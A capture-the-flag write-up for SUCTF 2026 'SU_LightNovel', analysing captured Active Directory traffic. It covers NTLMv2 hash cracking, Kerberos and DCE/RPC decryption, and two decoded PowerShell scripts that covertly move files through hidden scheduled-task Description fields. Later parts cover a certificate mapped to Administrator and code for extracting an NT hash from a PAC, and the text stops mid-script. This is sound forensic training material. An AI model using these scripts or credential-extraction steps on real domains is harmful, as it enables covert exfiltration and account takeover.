SUCTF 2026 SU_LightNovel Writeup

· Updated · 7 min read · 3228 words · CTF · SUCTF Traffic Analysis Active Directory Kerberos TimeRoast

Special thanks to @0raN9e for ghostwriting this solution.

The challenge traffic is available in SUCTF 2026 challenge files. The following commands use the file name suctf-ad.pcapng; the downloaded suctf-ad-final-fix.pcapng can be copied or renamed to this name.

This may be my last dance with Active Directory traffic challenges. Writing this SUCTF challenge brought back memories of the night I struggled with a WMCTF domain traffic challenge.

SU_LightNovel analysis screenshot 1

Approach

The clues are spread across domain authentication and remote-execution traffic. First recover the NTLMv2 password and extract hint.zip; then decrypt Kerberos and scheduled-task traffic to recover the certificate and administrator session material. Finally, analyze the TimeRoast data and decrypt the last file.

Analysis

An NTLMv2 response can be used to test password candidates offline. The recovered password enables construction of the relevant keys for inspecting protected traffic. Later scheduled tasks carry encoded data in their Description fields, while Kerberos sessions and a certificate lead to the administrator identity. DCE/RPC fragments must be reassembled completely or the subsequent decryption fails.

Walkthrough and verification

The following sections follow the packet frames and recovered artifacts in order, including the commands, outputs, and dead ends.

NTLMv2 authentication and password recovery

The traffic contains domain authentication, starting with NTLM.

Extract the identity information and response data of the NTLM Type 3 (Authenticate) phase:

tshark -n -r *.pcapng -Y "ntlmssp.messagetype == 0x00000003" -T fields -e ntlmssp.auth.username -e ntlmssp.auth.domain -e ntlmssp.ntlmv2_response.ntproofstr -e ntlmssp.auth.sesskey -e smb2.sesid
kanna.seto      wire.com        c4ec074163bee82d9f829d1aa22de185        f38381332f94da4e87798fa3298486e0

Extract the Server Challenge from the NTLM authentication process:

tshark -n -r *.pcapng -Y "ntlmssp.messagetype == 0x00000002" -T fields -e ntlmssp.ntlmserverchallenge
e9b597a6e03a5122

Extract NTLMv2 authentication response (NTLMv2 Response):

tshark -r *.pcapng -Y "ntlmssp.messagetype==3" -T fields -e ntlmssp.ntlmv2_response

c4ec074163bee82d9f829d1aa22de1850101000000000000402a64de67addc01393769656779706e000000000200080057004900520045000100080044004300300031000400100077006900720065002e0063006f006d0003001a0044004300300031002e0077006900720065002e0063006f006d000500100077006900720065002e0063006f006d0007000800402a64de67addc010900120063006900660073002f0044004300300031000000000000000000

The combined hash is:

kanna.seto::wire.com:e9b597a6e03a5122:c4ec074163bee82d9f829d1aa22de185:0101000000000000402a64de67addc01393769656779706e000000000200080057004900520045000100080044004300300031000400100077006900720065002e0063006f006d0003001a0044004300300031002e0077006900720065002e0063006f006d000500100077006900720065002e0063006f006d0007000800402a64de67addc010900120063006900660073002f0044004300300031000000000000000000

Try recovering the password using the rockyou dictionary:

john  hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 32 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
taylorswift<3    (kanna.seto)

Use taylorswift<3 as the NTLMSSP password and continue analyzing the traffic.

Decrypt the scheduled task and extract hint.zip

The decrypted content can be found in frames 42 and 759. The longer encoding fields in the XML below have been omitted and the full data can be extracted from the traffic via subsequent commands.

tshark -o "ntlmssp.nt_password:taylorswift<3" -r suctf-ad.pcapng -Y "frame.number==42" -T fields -e frame.number -e dcerpc.decrypted_stub_data | xxd -r -p
BL

\gsmIqwfB\.\.<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Description>+pOthJDent+ThjxjPLTKKrOBmqSOYxlHbVv3OPfptLM=</Description>
  </RegistrationInfo>
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
      <Enabled>true</Enabled>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Principals>
    <Principal id="LocalSystem">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>true</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT1M</ExecutionTimeLimit>
    <Priority>7</Priority>
  </Settings>
  <Actions Context="LocalSystem">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-NonInteractive -enc [编码载荷,解码结果见下文]</Arguments>
    </Exec>
  </Actions>
</Task>

The result is:

$target_file = "C:\hint.zip"
$encryptionKey = [System.Convert]::FromBase64String("7mLnyC9VW9IZ8opOl7ouNQ==")
function ConvertTo-Base64($byteArray) {
    [System.Convert]::ToBase64String($byteArray)
}

function ConvertFrom-Base64($base64String) {
    [System.Convert]::FromBase64String($base64String)
}

function Encrypt-Data($key, $data) {
    $aesManaged = New-Object System.Security.Cryptography.AesManaged
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.Key = $key
    $aesManaged.GenerateIV()
    $encryptor = $aesManaged.CreateEncryptor()
    $utf8Bytes = [System.Text.Encoding]::UTF8.GetBytes($data)
    $encryptedData = $encryptor.TransformFinalBlock($utf8Bytes, 0, $utf8Bytes.Length)
    $combinedData = $aesManaged.IV + $encryptedData
    return ConvertTo-Base64 $combinedData
}

function Decrypt-Data($key, $encryptedData) {
    $aesManaged = New-Object System.Security.Cryptography.AesManaged
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $combinedData = ConvertFrom-Base64 $encryptedData
    $aesManaged.IV = $combinedData[0..15]
    $aesManaged.Key = $key
    $decryptor = $aesManaged.CreateDecryptor()
    $encryptedDataBytes = $combinedData[16..$combinedData.Length]
    $decryptedDataBytes = $decryptor.TransformFinalBlock($encryptedDataBytes, 0, $encryptedDataBytes.Length)
    return [System.Text.Encoding]::UTF8.GetString($decryptedDataBytes)
}
function DownloadByPs($taskname){
    $task = Get-ScheduledTask -TaskName $taskname -TaskPath \;
    # Check if file exists
    if (Test-Path -Path $target_file) {
        try {
            # Read file content and encrypt it, then save it to task description
            # Check if file is larger than 1MB
            $fileInfo = Get-Item $target_file
            if ($fileInfo.Length -gt 1048576) {
                $result = "[-] File is too large."
            }else{
                $result = Get-Content -Path $target_file -Encoding Byte
            }
        } catch {
            $result = $_.Exception.Message
        }
    }else{
        $result = "[-] File not exists."
    }
    $b64result = ConvertTo-Base64 $result
    $task.Description = $b64result
    Set-ScheduledTask $task
}
function DownloadByCom($taskname){
    $taskPath = "\"
    $scheduler = New-Object -ComObject Schedule.Service
    $scheduler.Connect()
    try {
        $folder = $scheduler.GetFolder($taskPath)
        $result = ""
        $task = $folder.GetTask($taskname)
        $definition = $task.Definition
        # Check if file exists
        if (Test-Path -Path $target_file) {
            try {
                # Read file content and encrypt it, then save it to task description
                # Check if file is larger than 1MB
                $fileInfo = Get-Item $target_file
                if ($fileInfo.Length -gt 1048576) {
                    $result = "[-] File is too large."
                }else{
                    $result = Get-Content -Path $target_file -Encoding Byte
                }
            } catch {
                $result = $_.Exception.Message
            }
        }else{
            $result = "[-] File not exists."
        }
        $b64result = ConvertTo-Base64 $result
        $definition.RegistrationInfo.Description = $b64result
        $user = $task.Principal.UserId
        $folder.RegisterTaskDefinition($task.Name, $definition, 6, $user, $null, $task.Definition.Principal.LogonType)
    }catch {
        Write-Error "Failed.."
    }
    finally {
        [System.Runtime.InteropServices.Marshal]::ReleaseComObject($scheduler) | Out-Null
    }
}
$taskname = "gsmIqwfB"
try {
    DownloadByPs($taskname)
}catch{
    DownloadByCom($taskname)
}
[Environment]::Exit(0)

This is a malicious PowerShell script that reads the C:\hint.zip file on the target machine, converts its content into Base64 encoding, and then quietly hides it in the “Description” field of a Windows scheduled task named gsmIqwfB, thereby achieving covert data theft. Only the system’s built-in functions are used throughout, making it difficult to detect.

tshark -o "ntlmssp.nt_password:taylorswift<3" -r suctf-ad.pcapng -Y "frame.number==759" -T fields -e dcerpc.decrypted_stub_data | tr -d '\n' | xxd -r -p | strings -el
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Description>[Base64 数据较长,见下方提取命令]</Description>
    <URI>\gsmIqwfB</URI>
  </RegistrationInfo>
  <Principals>
    <Principal id="LocalSystem">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <ExecutionTimeLimit>PT1M</ExecutionTimeLimit>
    <Hidden>true</Hidden>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <IdleSettings>
      <Duration>PT10M</Duration>
      <WaitTimeout>PT1H</WaitTimeout>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
  </Settings>
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2015-07-15T20:35:13</StartBoundary>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Actions Context="LocalSystem">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-NonInteractive -enc [编码载荷,解码结果见下文]</Arguments>
    </Exec>
  </Actions>
</Task>

Alternatively:

tshark -o "ntlmssp.nt_password:taylorswift<3" -r suctf-ad.pcapng -Y "frame.number==759" -T fields -e dcerpc.decrypted_stub_data | tr -d '\n' | xxd -r -p | strings -el | grep -oP '(?<=<Description>).*?(?=</Description>)' > hint_zip.b64
base64 -d hint_zip.b64 >hint.zip
unzip -P 'taylorswift<3' hint.zip

Here, the compressed package password is obtained by guessing password reuse.

The extracted message says:

404 Flag Not Found, but kanno.seto is literally peak cuteness!!!!

SU_LightNovel analysis screenshot 2

After performing common steganalysis on the image and finding no useful information, we continued to analyze the traffic.

Make keytabs and analyze Kerberos traffic

There will be Kerberos traffic later, and a keytab needs to be created first.

TheRealAdamBurford/Create-KeyTab: Create KeyTab PowerShell Script

In the AS-REP of frame 783, you can see ticket → enc-part → kvno: 2:

SU_LightNovel analysis screenshot 3

SU_LightNovel analysis screenshot 4

Continue to check the traffic and locate frame 2644:

tshark -o kerberos.decrypt:TRUE -o kerberos.file:login.keytab -r suctf-ad.pcapng -Y "frame.number==2644" -T fields -e dcerpc.decrypted_stub_data

The result is:

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
  <RegistrationInfo>
    <Description>+iDalTJ7HJVQu45POcrdueHV8FKs8loQ7UGAmyLo1GQ=</Description>
    <URI>\JlWveTli</URI>
  </RegistrationInfo>
  <Principals>
    <Principal id="LocalSystem">
      <UserId>S-1-5-18</UserId>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
    <ExecutionTimeLimit>PT1M</ExecutionTimeLimit>
    <Hidden>true</Hidden>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <IdleSettings>
      <StopOnIdleEnd>true</StopOnIdleEnd>
      <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
  </Settings>
  <Triggers>
    <CalendarTrigger>
      <StartBoundary>2015-07-15T20:35:13</StartBoundary>
      <ScheduleByDay>
        <DaysInterval>1</DaysInterval>
      </ScheduleByDay>
    </CalendarTrigger>
  </Triggers>
  <Actions Context="LocalSystem">
    <Exec>
      <Command>powershell.exe</Command>
      <Arguments>-NonInteractive -enc [编码载荷,解码结果见下文]</Arguments>
    </Exec>
  </Actions>
</Task>

Decoding it yields:

$target_path = "C:\cert.zip"
$taskPath = "\"
$encryptionKey = [System.Convert]::FromBase64String("PYake61OOYCKw0zg+oT/Qg==")
function ConvertTo-Base64($byteArray) {
    [System.Convert]::ToBase64String($byteArray)
}

function ConvertFrom-Base64($base64String) {
    [System.Convert]::FromBase64String($base64String)
}

function Encrypt-Data($key, $data) {
    $aesManaged = New-Object System.Security.Cryptography.AesManaged
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.Key = $key
    $aesManaged.GenerateIV()
    $encryptor = $aesManaged.CreateEncryptor()
    $utf8Bytes = [System.Text.Encoding]::UTF8.GetBytes($data)
    $encryptedData = $encryptor.TransformFinalBlock($utf8Bytes, 0, $utf8Bytes.Length)
    $combinedData = $aesManaged.IV + $encryptedData
    return ConvertTo-Base64 $combinedData
}

function Decrypt-Data($key, $encryptedData) {
    $aesManaged = New-Object System.Security.Cryptography.AesManaged
    $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $combinedData = ConvertFrom-Base64 $encryptedData
    $aesManaged.IV = $combinedData[0..15]
    $aesManaged.Key = $key
    $decryptor = $aesManaged.CreateDecryptor()
    $encryptedDataBytes = $combinedData[16..$combinedData.Length]
    $decryptedDataBytes = $decryptor.TransformFinalBlock($encryptedDataBytes, 0, $encryptedDataBytes.Length)
    return [System.Text.Encoding]::UTF8.GetString($decryptedDataBytes)
}
$scheduler = New-Object -ComObject Schedule.Service
$scheduler.Connect()
try {
    $result = ""
    $folder = $scheduler.GetFolder($taskPath)
    $task = $folder.GetTask("JlWveTli")
    $definition = $task.Definition
    if (Test-Path -Path $target_path) {
        $result = "[-] File already exists."
    }else{
        try {
            $description = $definition.RegistrationInfo.Description
            $decryptedDescription = Decrypt-Data $encryptionKey $description
            # base64 decode get raw data and save it to file
            $decodeData = ConvertFrom-Base64 $decryptedDescription
            # if target path not exists, create it
            $dir = Split-Path $target_path
            if (!(Test-Path -Path $dir)) {
                New-Item -ItemType Directory -Path $dir
            }
            $decodeData | Set-Content -Path "C:\cert.zip" -Encoding Byte
            $result = "[+] Success."
        }
        catch {
            $result = $_.Exception.Message
        }
    }
    $encryptedResult = Encrypt-Data $encryptionKey $result

    $definition.RegistrationInfo.Description = $encryptedResult
    $user = $task.Principal.UserId
    $folder.RegisterTaskDefinition($task.Name, $definition, 6, $user, $null, $task.Definition.Principal.LogonType)
}catch {
    Write-Error "Failed.."
}
finally {
    [System.Runtime.InteropServices.Marshal]::ReleaseComObject($scheduler) | Out-Null
}
[Environment]::Exit(0)

Decrypt and write the file (cert.zip) to disk.

The processing sequence is:

  1. Outer Base64 decoding
  2. Get the IV from the first 16 bytes
  3. Use PYake61OOYCKw0zg+oT/Qg== to do AES-CBC decryption
  4. The decrypted output is another Base64 string
  5. Decode it to recover the original ZIP archive

Then continue analyzing the traffic:

tshark -r suctf-ad.pcapng -Y "tcp.port==49667" -T fields -e frame.number -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e tcp.stream -e _ws.col.Info

This traffic includes early NTLM sessions, as well as the following Kerberos sessions:

  • kanna.seto’s session
  • administrator’s session
tshark -r suctf-ad.pcapng -Y "frame.number>=860 && frame.number<=2650" -T fields -e frame.number -e tcp.stream -e _ws.col.Info
  • frame 869: TGS-REP of host/dc01.wire.com
  • frames 874 and 876: Use this ticket to establish an RPC binding
  • Frames 881 to 2644: in the same TCP session, numbered tcp.stream == 5

Export session details:

tshark -o kerberos.decrypt:TRUE -o kerberos.file:login.keytab -r suctf-ad.pcapng -Y "tcp.stream==5" -V > frame5.txt

This part of the analysis is more complex. With large model-assisted analysis, the subkey can be found in frame 876:

 tshark -o kerberos.decrypt:TRUE -o kerberos.file:login.keytab -r suctf-ad.pcapng -Y "frame.number==876" -V
keytype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
                                                keyvalue:6c729591c51fd38f4c462d74566eeb4a40a4511a9c85bc81232e737a98d8d1f2

This subkey is used by the security contexts of Kerberos, GSSAPI, and SPNEGO to derive the signing and encryption keys used to decrypt the RegisterTask request in stream 5.

tshark -o kerberos.decrypt:TRUE -o kerberos.file:login.keytab -r suctf-ad.pcapng -Y "tcp.stream==5" -V > frame5.txt

The hidden payload embedded when registering a task is located in frames 881 to 2572.

Frame 1025 contains two DCE/RPC fragments. Missing one would be 4152 bytes less; at this point the Description might still look like valid Base64, but AES decryption would not succeed.

import subprocess, re
from pathlib import Path
from minikerberos.protocol.encryption import Key, Enctype, _AES256CTS
from minikerberos.gssapi.gssapi import GSSWrapToken, GSSAPI_AES, KG_USAGE

pcap='suctf-ad.pcapng'
subkey_hex='6c729591c51fd38f4c462d74566eeb4a40a4511a9c85bc81232e737a98d8d1f2'

key=Key(Enctype.AES256, bytes.fromhex(subkey_hex))
gss=GSSAPI_AES(key, _AES256CTS, None)

out = subprocess.check_output([
    'tshark','-r',pcap,
    '-Y','tcp.stream==5 && ip.src==192.168.183.132 && tcp.len>0 && frame.number>=881 && frame.number<=2572',
    '-T','fields','-e','frame.number','-e','tcp.seq','-e','tcp.payload'
], text=True, encoding='utf-8')

segments=[]
for line in out.strip().splitlines():
    parts=line.split('\t')
    if len(parts) < 3 or not parts[2]:
        continue
    seq=int(parts[1])
    data=bytes.fromhex(parts[2].replace(':',''))
    segments.append((seq, data))
segments.sort()

base_seq=segments[0][0]
stream=bytearray()
for seq, data in segments:
    off=seq-base_seq
    end=off+len(data)
    if end <= len(stream):
        continue
    if off < len(stream):
        data = data[len(stream)-off:]
        off = len(stream)
    stream.extend(data)

s=bytes(stream)
start=s.find(bytes.fromhex('05000001100000009c10440002000000'))

parts=[]
pos=start
while pos + 24 <= len(s):
    frag_len=int.from_bytes(s[pos+8:pos+10],'little')
    auth_len=int.from_bytes(s[pos+10:pos+12],'little')
    call_id=int.from_bytes(s[pos+12:pos+16],'little')
    flags=s[pos+3]
    if call_id != 2:
        break
    frag=s[pos:pos+frag_len]
    stub_len=frag_len - 24 - 8 - auth_len
    enc_stub=frag[24:24+stub_len]
    auth=frag[24+stub_len+8:24+stub_len+8+auth_len]

    t=GSSWrapToken.from_bytes(auth)
    rotated = auth[16:] + enc_stub
    cipher_text = gss.unrotate(rotated, t.RRC + t.EC)
    plain = _AES256CTS().decrypt(key, KG_USAGE.INITIATOR_SEAL.value, cipher_text)
    plain = plain[:-(t.EC + 16)]
    parts.append(plain)

    pos += frag_len
    if flags & 0x02:
        break

full=b''.join(parts)
start_xml = full.find(b'<\x00T\x00a\x00s\x00k\x00')
xml_txt = full[start_xml:].decode('utf-16le', errors='ignore')
end_xml = xml_txt.find('</Task>')
xml_txt = xml_txt[:end_xml+7]

desc = re.search(r'<Description>(.*?)</Description>', xml_txt, re.S).group(1)
Path('stream5_desc_fixed.txt').write_text(desc, encoding='ascii')
print('wrote stream5_desc_fixed.txt', len(desc))
from pathlib import Path
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

desc = Path("stream5_desc_fixed.txt").read_text(encoding="ascii").strip()
key = base64.b64decode("PYake61OOYCKw0zg+oT/Qg==")

blob = base64.b64decode(desc)
iv, ct = blob[:16], blob[16:]
pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16)
raw = base64.b64decode(pt)

Path("recovered_cert.zip").write_bytes(raw)
print("wrote recovered_cert.zip", len(raw), raw[:4])

Unzip cert.zip

After recovering cert.zip, you can look for password clues from the files already in the compressed package.

潮声只听开口处
The sea listens where the lines begin

SU_LightNovel analysis screenshot 5

stegseek cert.jpg
cat  cert.jpg.out
濑水晚霞映海天,户外潮声入远烟。
环佩清姿临碧浪,奈何人间少此颜。
倾心落日添柔影,城畔微风动鬓边。
绝代芳华如画里,色映云霞胜月妍。

It is not difficult to guess that the password is

濑户环奈倾城绝色
unzip -P '濑户环奈倾城绝色' cert.zip -d cert
key:01ea8c39173e5e4afbb5a6580b118e4cc21b16d399b8e2322b9090e68acd080a
klist -c wiredc.ccache
Ticket cache: FILE:wiredc.ccache
Default principal: Administrator@WIRE.COM

Valid starting       Expires              Service principal
03/06/2026 20:52:11  03/07/2026 06:52:11  krbtgt/WIRE.COM@WIRE.COM
openssl pkcs12 -in administrator.pfx -info
Enter Import Password:
MAC: sha256, Iteration 2048
MAC length: 32, salt length: 8
PKCS7 Data
Certificate bag
Bag Attributes
    friendlyName:
    localKeyID: AB AD F4 6E 1D 76 C3 07 FA 3B 16 55 0F FA 67 0B E9 08 21 AB
subject=CN=Kanna.seto
issuer=DC=com, DC=wire, CN=wire-DC01-CA
-----BEGIN CERTIFICATE-----
MIIF/jCCBOagAwIBAgITVQAAAA5ckH5gQsKBxgAAAAAADjANBgkqhkiG9w0BAQsF
ADBCMRMwEQYKCZImiZPyLGQBGRYDY29tMRQwEgYKCZImiZPyLGQBGRYEd2lyZTEV
MBMGA1UEAxMMd2lyZS1EQzAxLUNBMB4XDTI2MDMwNjExMTM1MloXDTI3MDMwNjEx
MTM1MlowFTETMBEGA1UEAxMKS2FubmEuc2V0bzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBALc7tkxrcHchvPklua448YPf8fE4tn8kbo7/7DYTvzjdCPbX
t3f3aLCKHfWUUwgAxfQ5/8pICpUNl9arQ71XaILf+nFjTN8M46D+FYonFtu6hqNt
KxM24wnhTPQKJg8cmzVds1TSaOnFFjP7CYJSyq9yrxp+BZ7q17C0+BNZ5/tiPmCp
F+qvDSVl/nSZS0D9IizXduq1azPFcJcK+Qez/eWeJImHhfvgztRYtuJpLRh4hOUQ
s0Q52F+tMElzXl+Xg3wT5dB4RlSX29iV4o9LE5+13GsEeyuswGVDMYjKJ1Ra/i9+
2/lHY5p7oeRBV50ClVPfP76gV3uHEHxD/eLxLvkCAwEAAaOCAxgwggMUME4GCSsG
AQQBgjcZAgRBMD+gPQYKKwYBBAGCNxkCAaAvBC1TLTEtNS0yMS0xMDIxNjAxMDQ0
LTE3NjQ2MDgxODItMTc4MDM5NDAyNC01MDAwgYEGA1UdEQR6MHigJgYKKwYBBAGC
NxQCA6AYDBZhZG1pbmlzdHJhdG9yQHdpcmUuY29thk50YWc6bWljcm9zb2Z0LmNv
bSwyMDIyLTA5LTE0OnNpZDpTLTEtNS0yMS0xMDIxNjAxMDQ0LTE3NjQ2MDgxODIt
MTc4MDM5NDAyNC01MDAwHQYDVR0OBBYEFO5unxICHKd7tOtsB8njErd2T2jUMB8G
A1UdIwQYMBaAFCugV8qRtbNmCM41d5i1j2NZZ2W5MIHEBgNVHR8Egbwwgbkwgbag
gbOggbCGga1sZGFwOi8vL0NOPXdpcmUtREMwMS1DQSxDTj1EQzAxLENOPUNEUCxD
Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
cmF0aW9uLERDPXdpcmUsREM9Y29tP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/
YmFzZT9vYmplY3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBuwYIKwYBBQUH
AQEEga4wgaswgagGCCsGAQUFBzAChoGbbGRhcDovLy9DTj13aXJlLURDMDEtQ0Es
Q049QUlBLENOPVB1YmxpYyUyMEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENO
PUNvbmZpZ3VyYXRpb24sREM9d2lyZSxEQz1jb20/Y0FDZXJ0aWZpY2F0ZT9iYXNl
P29iamVjdENsYXNzPWNlcnRpZmljYXRpb25BdXRob3JpdHkwDgYDVR0PAQH/BAQD
AgeAMDcGCSsGAQQBgjcVBwQqMCgGICsGAQQBgjcVCIHYsmaGrdwlh6WTP4TchFyD
/JFGUQEhAgFuAgEAMBMGA1UdJQQMMAoGCCsGAQUFBwMCMBsGCSsGAQQBgjcVCgQO
MAwwCgYIKwYBBQUHAwIwDQYJKoZIhvcNAQELBQADggEBAAedrdpHC9kbfTOLw2uZ
WrV7a8IHf7Gjm36vAFfEQvGZw0lSQCjV/2M48kFejOFPlZyo7LgEZdXAMesTGiFJ
imPguCoqPjHWT+dKxo3NKuS+aFfMezQ7oswfDJEUWXTvFjkXClOERyoah2lExrSC
qiMFjOVFvnAMUjf6XqkGxQSeQ5enzo6cJhWumQGlg76xEa4J8iQF3cRie1ztpgZP
xwq9mstBwtyiP/JzOEO/F4kYLKTfVJNi8TdsmGojIGvceeyJ4Tp8AJV/t3b2OiYu
Cw9vIYKWArvo8uCboOOEiCXpcFhPJPYoAIbTKWdTvt183Jp0eguq1w2lHg0ktVJs
jyo=
-----END CERTIFICATE-----

PFX uses an empty password and press Enter directly to extract the information:

serial    = 550000000E5C907E6042C281C600000000000E
subject   = CN = Kanna.seto
issuer    = DC = com, DC = wire, CN = wire-DC01-CA
notBefore = Mar  6 11:13:52 2026 GMT
notAfter  = Mar  6 11:13:52 2027 GMT

Here is a common but easily overlooked AD CS detail:

  • The certificate’s Subject CN is Kanna.seto
  • Its SAN UPN is administrator@wire.com
  • It also contains a SID URI

So it would be mapped to Administrator instead of kanna.seto.

Analyze administrator PKINIT and U2U

Returning to the traffic, continue analyzing the earlier administrator PKINIT and U2U interactions.

  1. frame 779: Administrator’s AS-REQ/PKINIT
  2. Frame 783: KDC returns AS-REP, which is the administrator’s TGT
  3. Frame 793: Administrator initiates TGS-REQ/U2U
  4. Frame 795: KDC returns TGS-REP/U2U result
tshark -r suctf-ad.pcapng -Y "frame.number==779 || frame.number==783" -V
  • The certificate subject is Kanna.seto
  • SAN contains administrator@wire.com
  • SID ends with -500
  • frame 783 returns Administrator’s AS-REP/TGT
  • The serial number is 550000000E5C907E6042C281C600000000000E
tshark -r suctf-ad.pcapng -Y "frame.number==793 || frame.number==795" -V
  • frame 793

    • msg-type: krb-tgs-req
    • enc-tkt-in-skey: True
    • sname: Administrator
    • additional-tickets: 1 item
    • This additional ticket is krbtgt/WIRE.COM
  • frame 795

    • msg-type: krb-tgs-rep
    • cname: Administrator
    • ticket sname: Administrator

The previously obtained 32-byte hex key is used to decrypt the administrator PKINIT’s AS-REP enc-part.

Use it as the AES256 key, and decrypt enc-part of frame 783 with usage 3, and the TGT session key obtained is exactly

from impacket.krb5.crypto import Key, _enctype_table
from impacket.krb5.asn1 import EncASRepPart
from pyasn1.codec.der.decoder import decode
import subprocess, json

j = subprocess.check_output(
    ['tshark', '-r', 'suctf-ad.pcapng', '-Y', 'frame.number==783', '-T', 'json'],
    text=True, encoding='utf-8'
)
kerb = json.loads(j)[0]['_source']['layers']['kerberos']['kerberos.as_rep_element']
cipher_hex = kerb['kerberos.kDC_REP_enc_part_element']['kerberos.encryptedKDCREPData_cipher'].replace(':', '')

key_hex = open('cert\\key', 'r', encoding='ascii').read().strip()

plain = _enctype_table[18].decrypt(
    Key(18, bytes.fromhex(key_hex)),
    3,
    bytes.fromhex(cipher_hex)
)

obj = decode(plain, asn1Spec=EncASRepPart())[0]
print(bytes(obj['key']['keyvalue']).hex())

The result is:

e7d900a23fd982ccf1f4142a360291735e4af423e0e7255a53e6102afd27f352

This is exactly the same as the value recorded in wiredc.ccache.

These three artifacts can now be correlated:

  1. administrator.pfx
  2. key
  3. wiredc.ccache

The subsequent processing flow is as follows:

  • Get TGT session key from wiredc.ccache
  • Use it to solve the ticket enc-part of frame 795
  • Find PAC_CREDENTIAL_INFO from PAC
  • Then use key as AS-REP key and unlock it with usage 16
  • Finally, take out the NtPassword in NTLM_SUPPLEMENTAL_CREDENTIAL
from impacket.krb5.crypto import Key, _enctype_table
from impacket.krb5.asn1 import EncTicketPart, AD_IF_RELEVANT
from impacket.krb5.ccache import CCache
from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, PAC_CREDENTIALS_INFO
from pyasn1.codec.der.decoder import decode
import subprocess, json

# 1. TGT session key from ccache
cc = CCache.loadFile("cert\\wiredc.ccache")
tgt_session_key = bytes(cc.credentials[0]["key"]["keyvalue"])

# 2. AS-REP key recovered from cert.zip
asrep_key = bytes.fromhex(open("cert\\key", "r", encoding="ascii").read().strip())

# 3. Get frame 795 ticket enc-part
j = subprocess.check_output(
    ["tshark", "-r", "suctf-ad.pcapng", "-Y", "frame.number==795", "-T", "json"],
    text=True, encoding="utf-8"
)
kerb = json.loads(j)[0]["_source"]["layers"]["kerberos"]["kerberos.tgs_rep_element"]
ticket_hex = kerb["kerberos.ticket_element"]["kerberos.ticket_enc_part_element"]["kerberos.encryptedTicketData_cipher"].replace(":", "")

# 4. Decrypt ticket enc-part with TGT session key, usage 2
plain = _enctype_table[18].decrypt(Key(18, tgt_session_key), 2, bytes.fromhex(ticket_hex))
ticket = decode(plain, asn1Spec=EncTicketPart())[0]

# 5. Extract PAC blob
ad_if_rel = decode(ticket["authorization-data"][0]["ad-data"].asOctets(), asn1Spec=AD_IF_RELEVANT())[0]
pac_blob = ad_if_rel[0]["ad-data"].asOctets()

# 6. Find PAC_CREDENTIAL_INFO buffer
